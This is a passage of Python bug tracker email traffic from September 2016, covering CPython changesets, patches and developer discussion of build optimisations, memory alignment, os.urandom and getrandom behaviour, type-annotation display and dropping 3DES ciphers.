From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 00:13:10 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <20160907001306.1587.57178.3028B88C@psf.io>


Roundup Robot added the comment:

New changeset b4b73473ecc6 by Brett Cannon in branch 'default':
Issue #26359: Add the --with-optimizations configure flag.
https://hg.python.org/cpython/rev/b4b73473ecc6

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:16:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 00:16:06 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <20160907001555.14766.81671.F33B6751@psf.io>


Roundup Robot added the comment:

New changeset a5856153d942 by Raymond Hettinger in branch 'default':
Issue #18844: Add random.weighted_choices()
https://hg.python.org/cpython/rev/a5856153d942

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:16:14 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 07 Sep 2016 00:16:14 +0000
Subject: [issue27986] make distclean clobbers Lib/plat-darwin/*
Message-ID: <1473207374.66.0.540671136475.issue27986@psf.upfronthosting.co.za>


New submission from Zachary Ware:

I suspect this is related to #23968, but I'm not certain.

----------
components: Build, Macintosh
messages: 274685
nosy: doko, ned.deily, ronaldoussoren, zach.ware
priority: low
severity: normal
stage: needs patch
status: open
title: make distclean clobbers Lib/plat-darwin/*
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27986>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:17:01 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 Sep 2016 00:17:01 +0000
Subject: [issue18844] allow weights in random.choice
In-Reply-To: <1377537825.13.0.508607501106.issue18844@psf.upfronthosting.co.za>
Message-ID: <1473207421.47.0.971931280295.issue18844@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Thanks Davin.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18844>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:17:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 00:17:02 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <20160907001658.12481.609.13422867@psf.io>


Roundup Robot added the comment:

New changeset 1e61cc86df03 by Brett Cannon in branch '3.5':
Issue #26359: Add the --with-optimizations flag.
https://hg.python.org/cpython/rev/1e61cc86df03

New changeset f9b52b31f1b4 by Brett Cannon in branch 'default':
Merge for #26359
https://hg.python.org/cpython/rev/f9b52b31f1b4

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:17:10 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 00:17:10 +0000
Subject: [issue27987] obmalloc's 8-byte alignment causes undefined behavior
Message-ID: <1473207430.19.0.578630759123.issue27987@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

ubsan complains about unaligned access when structs include "long double". An example error:
    runtime error: member access within misaligned address 0x7f77dbba9798 for type 'struct CDataObject', which requires 16 byte alignment

This is because (on x86 anyway), long double is 16-bytes long and requires that alignment, but obmalloc only gives a 8-byte alignment. (glibc malloc() gives 16-byte alignment.)

I'm attaching a POC patch. I don't know what the impact of increasing the alignment is on obmalloc's performance or memory usage. It's also unfortunate that this patch increases the size of PyGC_Head to 32 bytes from 24 bytes. One can imagine a more middle-ground solution to this by allowing types to specify their required alignment.

----------
components: Interpreter Core
files: alignment.patch
keywords: patch
messages: 274688
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: obmalloc's 8-byte alignment causes undefined behavior
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44413/alignment.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27987>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:17:52 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 07 Sep 2016 00:17:52 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473207472.07.0.728087354067.issue26359@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Leaving this open in case someone wants to backport to 2.7.

----------
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:22:35 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 00:22:35 +0000
Subject: [issue3100] weakref subclass segfault
In-Reply-To: <1213327200.12.0.747745402104.issue3100@psf.upfronthosting.co.za>
Message-ID: <20160907002231.13913.40516.E28EC0E2@psf.io>


Roundup Robot added the comment:

New changeset 3d8109fe6d82 by Gregory P. Smith in branch 'default':
Correct a comment in the test referencing the wrong issue number (issue3100
https://hg.python.org/cpython/rev/3d8109fe6d82

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue3100>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:27:04 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 00:27:04 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473208024.85.0.388090605741.issue27781@psf.upfronthosting.co.za>


Steve Dower added the comment:

Also see PEP 529 for the latest updates there.

This is likely to be accepted as experimental for 3.6.0b1-3, and we'll commit to either the new default or a compatible default for b4.

----------
Added file: http://bugs.python.org/file44414/27781_1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:52:31 2016
From: report at bugs.python.org (koobs)
Date: Wed, 07 Sep 2016 00:52:31 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473209551.62.0.437935824344.issue27938@psf.upfronthosting.co.za>


koobs added the comment:

Re-open and assign for regressions. Observed in all koobs-freebsd* buildbots (9/10/11) and build types. Issue is in default branch (add version 3.7)

First failing test run: http://buildbot.python.org/all/builders/AMD64%20FreeBSD%20CURRENT%20Non-Debug%203.x/builds/110

----------
assignee:  -> haypo
nosy: +koobs
resolution: fixed -> 
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:04:18 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 01:04:18 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473210258.2.0.442181482046.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Here is the patch for PEP 526 implementation

----------
keywords: +patch
nosy: +levkivskyi
Added file: http://bugs.python.org/file44415/hg-pep-526.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:06:21 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 01:06:21 +0000
Subject: [issue26307] no PGO for built-in modules with `make profile-opt`
In-Reply-To: <1454938106.72.0.648611247693.issue26307@psf.upfronthosting.co.za>
Message-ID: <20160907010618.1603.89095.EBE52A69@psf.io>


Roundup Robot added the comment:

New changeset 75dae0b2ccb3 by Gregory P. Smith in branch '2.7':
Fixes issue26307: The profile-opt build now applys PGO to the built-in modules.
https://hg.python.org/cpython/rev/75dae0b2ccb3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26307>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:12:56 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Wed, 07 Sep 2016 01:12:56 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473210776.17.0.145648297502.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Oops, sorry, forgot to add new files when converting from git to hg, here is the full patch.

----------
Added file: http://bugs.python.org/file44416/hg-pep-526.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:26:13 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 01:26:13 +0000
Subject: [issue25596] Use scandir() to speed up the glob module
In-Reply-To: <20160906193525.68987.93624.D64F7228@psf.io>
Message-ID: <CAP7+vJKBRwXMDBdLVBhZPhnENyM9SqbzwRnrFFm87NEum5T-TQ@mail.gmail.com>


Guido van Rossum added the comment:

Thanks Serhiy!

--Guido (mobile)

On Sep 6, 2016 12:35 PM, "Roundup Robot" <report at bugs.python.org> wrote:

>
> Roundup Robot added the comment:
>
> New changeset cb7ee9d9cddd by Serhiy Storchaka in branch 'default':
> Issue #25596: Optimized glob() and iglob() functions in the
> https://hg.python.org/cpython/rev/cb7ee9d9cddd
>
> ----------
> nosy: +python-dev
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue25596>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25596>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:35:01 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 07 Sep 2016 01:35:01 +0000
Subject: [issue27972] Confusing error during cyclic yield
In-Reply-To: <1473157014.91.0.531687158456.issue27972@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLV7OERXjrm8R=4vZM-F44oXfGUH1Sm_XeGzVe3JivJDg@mail.gmail.com>


Guido van Rossum added the comment:

Thanks for the report. I've never seen this before, so I doubt it is a
common mistake. Yury have you ever seen this?

--Guido (mobile)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27972>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:44:03 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 07 Sep 2016 01:44:03 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473212643.23.0.591316786797.issue27778@psf.upfronthosting.co.za>


Martin Panter added the comment:

HAVE_GETRANDOM_SYSCALL seems to be a compile-time library check, not a runtime check. I compiled and run on Linux 3.15.5, and os.getrandom() exists but raises ENOSYS:

======================================================================
ERROR: test_getrandom0 (test.test_os.GetRandomTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/media/disk/home/proj/python/cpython/Lib/test/test_os.py", line 1280, in test_getrandom0
    empty = os.getrandom(0)
OSError: [Errno 38] Function not implemented

----------
nosy: +martin.panter
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:51:19 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 07 Sep 2016 01:51:19 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473213079.6.0.910188142523.issue6135@psf.upfronthosting.co.za>


Martin Panter added the comment:

Maybe good to adjust the other mentions of universal_newlines, e.g. for check_output(). The Posix version of the multiple-pipe _communicate() method probably needs adjusting too. Test case:

>>> check_output(("true",), encoding="ascii", input="")  # Should be text
b''
>>> check_output(("true",), encoding="ascii")  # Correct result
''

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:57:16 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 01:57:16 +0000
Subject: [issue27988] email iter_attachments can mutate the payload
Message-ID: <1473213436.61.0.0831325497078.issue27988@psf.upfronthosting.co.za>


New submission from R. David Murray:

In the right (wrong) circumstances the iter_attachments function may mutate the payload list.  The fix is simple (make a copy before operating on it).  Attached is a patch with test.

----------
files: iter_attachments_mutation.patch
keywords: patch
messages: 274700
nosy: r.david.murray
priority: normal
severity: normal
stage: commit review
status: open
title: email iter_attachments can mutate the payload
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44417/iter_attachments_mutation.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27988>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:57:46 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 01:57:46 +0000
Subject: [issue27988] email iter_attachments can mutate the payload
In-Reply-To: <1473213436.61.0.0831325497078.issue27988@psf.upfronthosting.co.za>
Message-ID: <1473213466.09.0.430795551726.issue27988@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
components: +email
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27988>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:15:15 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 07 Sep 2016 02:15:15 +0000
Subject: [issue27570] Avoid memcpy(. . ., NULL, 0) etc calls
In-Reply-To: <1468897030.77.0.552858173381.issue27570@psf.upfronthosting.co.za>
Message-ID: <1473214515.2.0.944467993729.issue27570@psf.upfronthosting.co.za>


Martin Panter added the comment:

Looks like revisions 5f3f6f1fb73a and ec537f9f468f may have fixed the listobject cases.

Also 66feda02f2a5 looks relevant. Benjamin, maybe you are interested in other bits of my patches :)

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27570>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:19:50 2016
From: report at bugs.python.org (David E. Franco G.)
Date: Wed, 07 Sep 2016 02:19:50 +0000
Subject: [issue27989] incomplete signature with help function using typing
Message-ID: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>


New submission from David E. Franco G.:

the issue is that when calling help on a function annotated with typing, all the relevant information is lost, for example

from typing import List, Any, Iterator, Tuple

def foo(data:List[Any]) -> Iterator[ Tuple[int,Any] ]:
    ...
 
when calling help on that

>>> help(foo)
Help on function foo in module __main__:

foo(data:typing.List) -> typing.Iterator

>>> 

all the information is lost, the output should look like this

>>> help(foo)
Help on function foo in module __main__:

foo(data:List[Any]) -> Iterator[ Tuple[int, Any] ]:

>>> 

where all the information that I put in the annotation is preserved and the typing.* are eliminated since they only add unnecessary noise

while reporting this issue in the typing module (https://github.com/python/typing/issues/279) I was told that is a bug with the inspect module and that help may need modification.

Thank for your time.

----------
components: Library (Lib)
messages: 274702
nosy: David E. Franco G.
priority: normal
severity: normal
status: open
title: incomplete signature with help function using typing
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:21:38 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 07 Sep 2016 02:21:38 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473214898.91.0.823333238474.issue27350@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Update the patch to use standard int types instead of adding PY_INT16_T
ref: https://bugs.python.org/issue17884

----------
Added file: http://bugs.python.org/file44418/compact-dict.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:22:04 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:22:04 +0000
Subject: [issue27984] singledispatch register should typecheck its argument
In-Reply-To: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>
Message-ID: <1473214924.71.0.132458679157.issue27984@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Catching the erroneous registration rather than silently ignoring it sounds like the right thing to do here to me as well.

I'm actually surprised that code isn't already throwing an exception later on, as "isinstance" itself does fail with non-types:

>>> from enum import Enum
>>> 
>>> IS = Enum("IS", "a, b")
>>> isinstance(IS.a, IS)
True
>>> isinstance(IS.a, IS.a)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: isinstance() arg 2 must be a type or tuple of types

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:22:18 2016
From: report at bugs.python.org (Eric Snow)
Date: Wed, 07 Sep 2016 02:22:18 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473214938.97.0.913618806186.issue16384@psf.upfronthosting.co.za>


Eric Snow added the comment:

I have verified that this is still a problem (basically 3.6b1).

Fatal Python error: Py_Initialize: Unable to get the locale encoding
Traceback (most recent call last):
  File "/opt/python3.6/lib/python3.6/encodings/__init__.py", line 99, in search_function
  File "<frozen importlib._bootstrap>", line 979, in _find_and_load
  File "<frozen importlib._bootstrap>", line 968, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 673, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 663, in exec_module
  File "<frozen importlib._bootstrap_external>", line 768, in get_code
  File "<frozen importlib._bootstrap_external>", line 478, in _compile_bytecode
EOFError: marshal data too short
Aborted (core dumped)

We should be exiting with an error rather than aborting.

----------
components: +Interpreter Core -None
stage:  -> test needed
versions: +Python 3.6 -Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:26:06 2016
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 07 Sep 2016 02:26:06 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473215166.77.0.206023213518.issue27850@psf.upfronthosting.co.za>


Larry Hastings added the comment:

> The difference between a security feature and a security fix
> is incredibly hard to differentiate.

I'm not buying this argument.


> For instance, with 3DES being de-recommended (and removed in future
> OpenSSLs) that leaves basically only AES-GCM and AES-CBC left as a
> secure cipher.

Future OpenSSLs don't affect Python 3.4, as Python 3.4 won't be upgraded to them.  Anyway we don't ship binary installers for 3.4 anymore.

Please don't check in support for new cyphers to 3.4.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:27:41 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:27:41 +0000
Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux
In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za>
Message-ID: <1473215261.3.0.0627654409633.issue27776@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

If /dev/urandom isn't available, Python refusing to start is likely to be one of the least of the system's problems, so Py_FatalError sounds reasonable to me - my +1 for a fallback above was a matter of "sounds good if you can find a way to make it work".

Thanks for all your work on getting this designed and implemented, Victor!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27776>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:29:50 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 02:29:50 +0000
Subject: [issue27570] Avoid memcpy(. . ., NULL, 0) etc calls
In-Reply-To: <1468897030.77.0.552858173381.issue27570@psf.upfronthosting.co.za>
Message-ID: <1473215390.44.0.896576737535.issue27570@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

Sorry I missed this. The changes which I didn't already make look good. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27570>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:31:27 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:31:27 +0000
Subject: [issue27288] secrets should use getrandom() on Linux
In-Reply-To: <1465588599.3.0.867244099768.issue27288@psf.upfronthosting.co.za>
Message-ID: <1473215487.73.0.244913812816.issue27288@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

PEP 524 has been implemented for 3.6b1 in #27776, so os.urandom() itself will now do the right thing for cryptographic use cases on Linux.

----------
nosy: +ncoghlan
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27288>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:34:23 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:34:23 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1473215663.61.0.675655457536.issue27292@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

PEP 524 has been implemented for 3.6b1 in #27776, so os.urandom() itself will now do the right thing for cryptographic use cases on Linux. Accordingly, I've removed Python 3.6 from the affected versions for this issue.

I've also flagged this as purely a documentation issue, since no behavioural changes are currently proposed for older versions.

----------
assignee:  -> docs at python
components: +Documentation -Library (Lib)
nosy: +docs at python, ncoghlan
title: Warn users that os.urandom() can return insecure values -> Warn users that os.urandom() prior to 3.6 can return insecure values
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:35:31 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:35:31 +0000
Subject: [issue27279] Add random.cryptorandom() and random.pseudorandom,
 deprecate os.urandom()
In-Reply-To: <1465458864.98.0.412270875525.issue27279@psf.upfronthosting.co.za>
Message-ID: <1473215731.17.0.952414417669.issue27279@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

PEP 524 has been implemented for 3.6b1 in #27776, so os.urandom() itself will now do the right thing for cryptographic use cases on Linux.

----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27279>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:36:31 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 02:36:31 +0000
Subject: [issue27182] PEP 519 support in the stdlib
In-Reply-To: <1464887789.1.0.970652730446.issue27182@psf.upfronthosting.co.za>
Message-ID: <20160907023628.774.66128.739934DD@psf.io>


Roundup Robot added the comment:

New changeset 3417d324cbf9 by Brett Cannon in branch 'default':
Issue #27182: Add support for path-like objects to PyUnicode_FSDecoder().
https://hg.python.org/cpython/rev/3417d324cbf9

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27182>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:36:40 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 07 Sep 2016 02:36:40 +0000
Subject: [issue26667] Update importlib to accept pathlib.Path objects
In-Reply-To: <1459275774.9.0.416740988554.issue26667@psf.upfronthosting.co.za>
Message-ID: <1473215800.11.0.444088608864.issue26667@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
assignee:  -> brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26667>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:37:36 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:37:36 +0000
Subject: [issue27293] Summarize issues related to urandom,
 getrandom etc in secrets documentation
In-Reply-To: <1465641058.72.0.740134205443.issue27293@psf.upfronthosting.co.za>
Message-ID: <1473215856.33.0.301995855317.issue27293@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

PEP 524 has been implemented for 3.6b1 in #27776, so os.urandom() itself will now do the right thing for cryptographic use cases on Linux.

Accordingly, marking this as out of date - with os.urandom() and the secrets module both implicitly doing the right thing, the vagaries of operating system cryptographic RNG access can be left as obscure arcana of interest only to language runtime developers, rather than regular Python users :)

----------
nosy: +ncoghlan
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27293>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:43:01 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 02:43:01 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <20160907024258.48763.60181.AFFFB4E4@psf.io>


Roundup Robot added the comment:

New changeset c499690f606c by Steve Dower in branch 'default':
Issue #27959: Adds oem encoding, alias ansi to mbcs, move aliasmbcs to codec lookup
https://hg.python.org/cpython/rev/c499690f606c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:46:39 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:46:39 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
Message-ID: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

The configure script determines the setting for HAVE_GETRANDOM_SYSCALL at build time, which means the dynamic check for getrandom() support in the Linux kernel gets disabled when building against an older kernel.

This impacts the implicit use of getrandom() in os.urandom(): https://mail.python.org/pipermail/security-sig/2016-June/000060.html

And also the new os.getrandom() API added in #27778: http://bugs.python.org/issue27778#msg274698

It's desirable to have a way of forcing the inclusion of the dynamic runtime check, even if the currently running kernel doesn't provide the syscall itself.

----------
messages: 274715
nosy: encukou, martin.panter, ncoghlan
priority: normal
severity: normal
stage: needs patch
status: open
title: Provide a way to enable getrandom on Linux even when build system runs an older kernel
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:47:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 02:47:00 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <20160907024657.1474.50790.5D6F5827@psf.io>


Roundup Robot added the comment:

New changeset fd0e62300fb7 by Steve Dower in branch 'default':
Issue #27959: Documents new encoding and alias.
https://hg.python.org/cpython/rev/fd0e62300fb7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:48:30 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 07 Sep 2016 02:48:30 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473216510.54.0.437418373472.issue27959@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:49:13 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:49:13 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473216553.09.0.337386796871.issue27778@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Huh, I thought I'd already filed an issue for that, but it looks like it was only a security-sig thread: https://mail.python.org/pipermail/security-sig/2016-June/000060.html

I've now remedied that omission and filed http://bugs.python.org/issue27990 to cover it explicitly.

Since that was a pre-existing problem that also happens to affect this API, rather than something new introduced by Victor's patch, closing this again.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:55:53 2016
From: report at bugs.python.org (Donald Stufft)
Date: Wed, 07 Sep 2016 02:55:53 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473216953.9.0.268969446533.issue27850@psf.upfronthosting.co.za>


Donald Stufft added the comment:

> > The difference between a security feature and a security fix
> > is incredibly hard to differentiate.
>
> I'm not buying this argument.

